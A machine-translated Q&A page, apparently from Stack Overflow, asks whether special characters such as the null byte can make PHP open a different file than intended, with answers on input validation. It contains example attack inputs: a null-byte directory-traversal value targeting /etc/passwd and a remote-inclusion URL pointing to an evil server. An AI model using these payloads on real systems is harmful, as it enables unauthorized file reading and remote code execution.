Warning: file_get_contents(/data/phpspider/zhask/data//catemap/5/fortran/2.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Php 哪些特殊字符会导致文件路径被误解?_Php - Fatal编程技术网

Php 哪些特殊字符会导致文件路径被误解?

Php 哪些特殊字符会导致文件路径被误解?,php,Php,例如,有一个函数(伪代码): 但黑客是否可能以某种方式使用了一种特殊的符号/方法,即: path=file.php^example.mp3 或 path=file.php+example.mp3 或者等等 如果php中存在这样的符号,比如在该符号之后,所有内容都被忽略,php试图打开file.php p、 不要发布关于保护的答案!我需要知道这段代码是否可以绕过,因为我要报告许多关于这个问题的脚本(如果这真的是一个问题的话) 如果php中存在这样的符号,比如在该符号之后,所有内容都被忽略,php试

例如,有一个函数(伪代码):

但黑客是否可能以某种方式使用了一种特殊的符号/方法,即:

path=file.php^example.mp3


path=file.php+example.mp3

或者等等

如果php中存在这样的符号,比如在该符号之后,所有内容都被忽略,php试图打开
file.php

p、 不要发布关于保护的答案!我需要知道这段代码是否可以绕过,因为我要报告许多关于这个问题的脚本(如果这真的是一个问题的话)

如果php中存在这样的符号,比如在该符号之后,所有内容都被忽略,php试图打开
file.php

对,;它被称为“空字节”(
“\0”

因为在C(用于编写PHP引擎的语言)中,“字符串”的结尾由空字节表示。因此,每当遇到空字节时,字符串将结束

如果希望字符串以
.mp3
结尾,则应手动附加它

话虽如此,一般来说,从安全的角度接受用户提供的路径是一个非常糟糕的主意(我相信您对这个问题的安全性方面很感兴趣,因为您最初在security.SE上发布了这个问题)

考虑以下情况:

 $_GET['path'] = "../../../../../etc/passwd\0";

或者这个主题的变体。

编程中的主要概念是“不要相信用户输入”。因此,您案例中的主要问题不是一个特殊的字符,而是如何处理数据。因此,您不应该使用用户给定的路径,因为用户可以操作路径或其他变量

要转义用户输入以防止出现错误字符,可以使用
htmlspecialchars
或使用
filter\u input
之类的内容过滤get输入:


$search\u html=filter\u input(输入\u获取,'search',过滤\u清理\u特殊字符)

我们无法判断代码是否可以“绕过”,因为您没有给我们任何PHP代码

至于是否有可能欺骗PHP处理一个不应该基于字符串结尾的文件,那么答案是只有在其他地方有另一个文件具有相同的结尾。但是,默认情况下,PHP将很乐意使用与读取本地文件相同的功能读取URL,请考虑:

http://yourserver.com/yourscript.php?path=http%3A%2F%2Fevilserver.com%2Fpwnd_php.txt%3Ffake_end%3Dmp3

因为这是非常特定于PHP的,所以我正在迁移。这取决于您的实现。和你的查询一样,如果你做得不正确,它可能是不安全的。@schroeder在我看来,它也不属于这里。空字节vuln被修补,所以剩下的只是目录遍历和基于参数的攻击的最大字符串长度,这些攻击已经被彻底询问和回答了。许多可能的攻击针对不同功能的实现,所以这就变得太宽泛了。@op-falling目录遍历:@r3wt,但最大字符串长度给出的
请求的URL长度超过了此服务器的容量限制。
。如果您阅读该手册页面的注释,您会看到修复的bug可能已修复,但请相信我,这是一个非常著名的攻击向量;它在许多入门级CTF(“黑客竞赛”)中使用。
htmlspecialchars
与文件名有什么关系?您正在写关于保护的文章。我现在对保护不感兴趣。这很重要,你应该这样做;)这样,您就不会对URL中的特殊字符产生问题。如果你想这样做,你可以使用raw_urlencode对你的参数进行编码。它能用这个技巧从本地文件中读取数据吗?我主要是担心这个。
http://yourserver.com/yourscript.php?path=http%3A%2F%2Fevilserver.com%2Fpwnd_php.txt%3Ffake_end%3Dmp3